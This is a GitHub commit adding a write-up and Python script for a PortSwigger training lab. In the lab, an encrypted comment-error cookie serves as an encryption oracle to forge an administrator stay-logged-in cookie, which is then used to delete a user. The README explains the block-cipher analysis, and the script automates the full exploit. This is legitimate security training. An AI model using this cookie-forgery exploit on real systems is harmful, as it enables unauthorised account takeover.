-
Notifications
You must be signed in to change notification settings - Fork 104
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add Write-up: Authentication bypass via encryption oracle
- Loading branch information
1 parent
85006a5
commit 7f62ea8
Showing
21 changed files
with
281 additions
and
2 deletions.
There are no files selected for viewing
145 changes: 145 additions & 0 deletions
145
...ess_logic_vulnerabilities/Authentication_bypass_via_encryption_oracle/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,145 @@ | ||
# Write-up: Authentication bypass via encryption oracle @ PortSwigger Academy | ||
|
||
 | ||
|
||
This write-up for the lab *Authentication bypass via encryption oracle* is part of my walk-through series for [PortSwigger's Web Security Academy](https://portswigger.net/web-security). | ||
|
||
**Learning path**: Server-side topics → Business logic vulnerabilities | ||
|
||
Lab-Link: <https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-authentication-bypass-via-encryption-oracle> | ||
Difficulty: PRACTITIONER | ||
Python script: [script.py](script.py) | ||
|
||
## Lab description | ||
|
||
 | ||
|
||
## Steps | ||
|
||
As usual, the first step is to analyze the functionality of the lab application. In this lab, it is a blog website. | ||
|
||
### Posting a comment | ||
|
||
One part of this analysis is to post a comment. I play with some of the parameters and mix valid and invalid content for email and website. | ||
|
||
The website parameter gets checked via client-side javascript which can be circumvented but does not lead to anything interesting. | ||
|
||
It is a different story for the email parameter: | ||
|
||
 | ||
|
||
Posting the comment with an invalid address leads to a corresponding error message. What makes it interesting is that the error is not displayed in the immediate response to the `POST` request. | ||
|
||
The `POST` results in a redirect which in turn contains the error message including my parameter in its response. As it is an independent request this information needs to be transported. The response sets a cookie named `notification` which looks like this transport vehicle. It is also unset in the second request. | ||
|
||
The content of the cookie does not appear to be simply encoded as no decoding variant results in anything legible. | ||
|
||
I put it aside for now and go on with the analysis. | ||
|
||
--- | ||
|
||
### Logging in | ||
|
||
The public area does not show anything else that appears interesting so I log in with the credentials provided. | ||
|
||
 | ||
|
||
The login form provides the option to stay logged in. If the option is set a `stay-logged-in` cookie is set: | ||
|
||
 | ||
|
||
One detail that jumps to attention about this cookie is that its content is very similar to the `notification` cookie from above. Both appear to both URL- and base64 encoded but do not result in anything legible. | ||
|
||
--- | ||
|
||
### Copying cookie contents | ||
|
||
During the posting of my comment, I guessed that the `notification` cookie contains the error information that is converted to the error message in the second response. So what happens if I use the content of the `stay-logged-in` cookie? | ||
|
||
Only one way to find out. I send the second request from my comment attempt to repeater and replace the content of the `notification` cookie with the content of my `stay-logged-in` cookie: | ||
|
||
 | ||
|
||
It shows two interesting things: | ||
|
||
- Both cookies are protected in the same way | ||
- The `stay-logged-in` cookie contains user information and a number that looks like a timestamp, in my case from a few minutes ago and corresponds to my login time | ||
|
||
To impersonate the administrator I need to obtain the encrypted string `administrator:1671277761824` to forge a `stay-logged-in` cookie for the administrative user. | ||
|
||
--- | ||
|
||
### Theorizing | ||
|
||
Whatever content I put in the email field will get encrypted the same way as the `stay-logged-in` cookie. Unfortunately, the server adds a descriptive error message in front of it, in this case, `Invalid email` address: `. | ||
|
||
If I find a way to either avoid this or strip this message from the `notification` cookie, I can forge a `stay-logged-in` cookie for any arbitrary user, including `administrator`. | ||
|
||
I notice that the length of the encrypted `stay-logged-in` cookie is not directly related to the length of the `email` parameter. The cookie is, after urldecoding, 44 bytes long regardless of whether the email is `myEmail` or just `my`. This indicates the use of a block cipher. | ||
|
||
A good encryption cipher will ensure that there is no observable relationship between the plaintext and the ciphertext. With minor changes in the plaintext, there should be significant changes in the ciphertext. This is called [diffusion](https://en.wikipedia.org/wiki/Confusion_and_diffusion) and is common in (decent) block ciphers by using some random initialization vectors (IV). | ||
|
||
The cipher in use here does not appear to have this property. Both the plaintext as well as the ciphertext start with the same characters in both cases. The different characters afterward do not appear to affect the first part: | ||
|
||
| Plaintext | Ciphertext (URLdecoded) | | ||
|---|---| | ||
| Invalid email address: myEmail | kz2h+4QhVc883w1bvbFEr77uKbbOnjfFfVFrFUVycP4= | | ||
| Invalid email address: myEmai | kz2h+4QhVc883w1bvbFErxyKJ3mv5TeyGEgDE2ADBWA= | | ||
| Invalid email address: my | kz2h+4QhVc883w1bvbFEryAV3dAJgEga4Zu3Rl8KjzA= | | ||
| Invalid email address: administrator:1671277761824 | kz2h+4QhVc883w1bvbFEr87ptsajNIMxzRqfjJflK3pPyLcmimq9GT16yVJGJ7OroqW0zxlifgMmIJtTRaiYUQ== | | ||
|
||
To better understand the structure I need to base64-decode that string and look at the hex representation: | ||
|
||
 | ||
|
||
Two things are immediately obvious: | ||
|
||
- The cipher uses a block size of 16 bytes. | ||
Based on the images above 32 bytes would be possible as well. It would be highly unusual though, and using just `administrator` as email parameter shows three lines used and confirms 16 bytes as the block size. | ||
- Within each block, some diffusion occurs. The second block differs on every byte whereas the last 7 bytes from the error message are static. | ||
|
||
I remove the complete first block and reencode it, first base64- followed by urlencoding: | ||
|
||
 | ||
|
||
 | ||
|
||
The result is promising, the first 16 bytes of the string are missing and the decryption is successful. | ||
|
||
--- | ||
|
||
### Correct the padding | ||
|
||
By now I know that I can remove a full block of the ciphertext without negatively affecting the following blocks. There are 7 bytes of the error message that are within the second block: `dress: `. I cannot simply remove these 7 bytes from the second block as this violates the block integrity: | ||
|
||
 | ||
|
||
However, If I add another 9 bytes in front of my desired plaintext, then it will fill the second 16 bytes block completely and my plaintext starts at the beginning of the third block. | ||
|
||
I send `123456789administrator:1671277761824` as the email to my encrypting method in Burp Repeater: | ||
|
||
 | ||
|
||
I send the cookie valid to Decoder, URL- and base64-decode it and remove the first two blocks of the hex representation (32 bytes): | ||
|
||
 | ||
|
||
The result I re-encode again and use the content of the `notification` cookie in my decryptor: | ||
|
||
 | ||
|
||
--- | ||
|
||
### Logging in | ||
|
||
I use the cookie editor to change the `stay-logged-in` cookie in my browser: | ||
|
||
 | ||
|
||
It appears that the session also contains user information and takes precedence over the `stay-logged-in` cookie. I remove the session cookie completely and refresh the page: | ||
|
||
 | ||
|
||
I go to the `Admin panel` to remove user `carlos` and the lab updates to | ||
|
||
 |
Binary file added
BIN
+12 KB
...ities/Authentication_bypass_via_encryption_oracle/img/admin_access_obtained.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+71.7 KB
...lities/Authentication_bypass_via_encryption_oracle/img/admin_token_obtained.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+73.8 KB
...rabilities/Authentication_bypass_via_encryption_oracle/img/block_size_wrong.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+151 KB
...gic_vulnerabilities/Authentication_bypass_via_encryption_oracle/img/comment.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+13 KB
...lnerabilities/Authentication_bypass_via_encryption_oracle/img/cookie_editor.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+70.2 KB
.../Authentication_bypass_via_encryption_oracle/img/decrypted_logged_in_cookie.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+74.6 KB
...es/Authentication_bypass_via_encryption_oracle/img/encrypt_padded_plaintext.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+31.6 KB
...bilities/Authentication_bypass_via_encryption_oracle/img/hex_representation.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+9.33 KB
...erabilities/Authentication_bypass_via_encryption_oracle/img/lab_description.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+8.14 KB
...logic_vulnerabilities/Authentication_bypass_via_encryption_oracle/img/login.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+69.9 KB
...lnerabilities/Authentication_bypass_via_encryption_oracle/img/login_request.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+37.1 KB
..._logic_vulnerabilities/Authentication_bypass_via_encryption_oracle/img/logo.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+25.8 KB
...nerabilities/Authentication_bypass_via_encryption_oracle/img/reencode_test1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+77.6 KB
...ities/Authentication_bypass_via_encryption_oracle/img/reencode_test1_result.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+25.7 KB
...erabilities/Authentication_bypass_via_encryption_oracle/img/remove_from_hex.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+33.9 KB
...gic_vulnerabilities/Authentication_bypass_via_encryption_oracle/img/success.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
133 changes: 133 additions & 0 deletions
133
05_business_logic_vulnerabilities/Authentication_bypass_via_encryption_oracle/script.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,133 @@ | ||
#!/usr/bin/env python3 | ||
# Authentication bypass via encryption oracle | ||
# Lab-Link: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-authentication-bypass-via-encryption-oracle | ||
# Difficulty: PRACTITIONER | ||
from bs4 import BeautifulSoup | ||
import base64 | ||
import requests | ||
import sys | ||
import time | ||
import urllib | ||
import urllib3 | ||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | ||
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} | ||
|
||
|
||
def check_expired_lab(client, host): | ||
return client.get(host).status_code == 504 | ||
|
||
|
||
def find_valid_post_id(client, host): | ||
r = client.get(host) | ||
soup = BeautifulSoup(r.text, 'html.parser') | ||
|
||
# <div class="blog-post"> | ||
# <a href="/post?postId=8"><img src="/image/blog/posts/23.jpg"/></a> | ||
# <h2>The Peopleless Circus</h2> | ||
# <p>...</p> | ||
# <a class="button is-small" href="/post?postId=8">View post</a> | ||
# </div> | ||
|
||
postId = None | ||
try: | ||
postId = soup.find('div', attrs={'class': 'blog-post'}).find_next('a').get('href').split('=')[1] | ||
except TypeError: | ||
pass | ||
except AttributeError: | ||
pass | ||
return postId | ||
|
||
|
||
def encrypt(client, host, postId, plaintext): | ||
def get_csrf_token(client, url): | ||
r = client.get(url) | ||
soup = BeautifulSoup(r.text, 'html.parser') | ||
return soup.find('input', attrs={'name': 'csrf'})['value'] | ||
|
||
url = f'{host}/post' | ||
data = { | ||
'csrf': get_csrf_token(client, f'{url}?postId={postId}'), | ||
'postId': postId, | ||
'comment': 'mycomment', | ||
'name': 'myname', | ||
'email': plaintext, | ||
'website': '' | ||
} | ||
|
||
try: | ||
client.post(f'{url}/comment', data=data, allow_redirects=False) | ||
cookie_value = client.cookies.get('notification') | ||
except TypeError: | ||
return None | ||
return cookie_value | ||
|
||
|
||
def remove_blocks(s, num_of_blocks): | ||
b = base64.b64decode(urllib.parse.unquote(s)) | ||
return urllib.parse.quote(base64.b64encode(b[(16*num_of_blocks):])) | ||
|
||
|
||
def deleteUser(client, host, username): | ||
url = f'{host}/admin/delete?username={username}' | ||
return client.get(url, allow_redirects=False).status_code == 302 | ||
|
||
|
||
def main(): | ||
print('[+] Authentication bypass via encryption oracle') | ||
try: | ||
host = sys.argv[1].strip().rstrip('/') | ||
except IndexError: | ||
print(f'Usage: {sys.argv[0]} <HOST>') | ||
print(f'Exampe: {sys.argv[0]} http://www.example.com') | ||
sys.exit(-1) | ||
|
||
with requests.Session() as client: | ||
client.verify = False | ||
client.proxies = proxies | ||
|
||
if check_expired_lab(client, host): | ||
print(f'[-] Lab is expired, please provide new link') | ||
sys.exit(-2) | ||
|
||
valid_postId = find_valid_post_id(client, host) | ||
if not valid_postId: | ||
print(f'[-] Failed to find valid post ID') | ||
sys.exit(-3) | ||
print(f'[+] Found valid post ID: {valid_postId}') | ||
|
||
string = f'administrator:{time.time()}' | ||
padding = 9 | ||
print(f'[ ] Attempt to encrypted string {string} with padding of {padding} bytes') | ||
encrypted_string = encrypt(client, host, valid_postId, f'{padding*"x"}{string}') | ||
if not encrypted_string: | ||
print(f'[-] Failed to obtain encrypted string') | ||
sys.exit(-4) | ||
print(f'[+] Obtained encrypted string: {encrypted_string}') | ||
|
||
blocks_to_remove = 2 | ||
stay_logged_in_cookie = remove_blocks(encrypted_string, blocks_to_remove) | ||
if not stay_logged_in_cookie: | ||
print(f'[-] Failed to remove first {blocks_to_remove} blocks') | ||
sys.exit(-5) | ||
print(f'[+] Removed first {blocks_to_remove} blocks: {stay_logged_in_cookie}') | ||
|
||
client.cookies.clear() | ||
client.cookies.set('stay-logged-in', stay_logged_in_cookie, domain=f'{host[8:]}') | ||
print(f'[+] Removed pre-existing cookies and set stay-logged-in cookie') | ||
|
||
if not deleteUser(client, host, 'carlos'): | ||
print(f'[-] Failed to delete user carlos') | ||
sys.exit(-6) | ||
print(f'[+] Deleted user carlos') | ||
|
||
# I had some times issues getting the proper result, so wait briefly before checking | ||
time.sleep(2) | ||
if 'Congratulations, you solved the lab!' not in client.get(f'{host}').text: | ||
print(f'[-] Failed to solve lab') | ||
sys.exit(-9) | ||
|
||
print(f'[+] Lab solved') | ||
|
||
|
||
if __name__ == "__main__": | ||
main() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -3,4 +3,5 @@ requests | |
websockets | ||
asyncio | ||
pyjwt[crypto] | ||
jwcrypto | ||
jwcrypto | ||
urllib |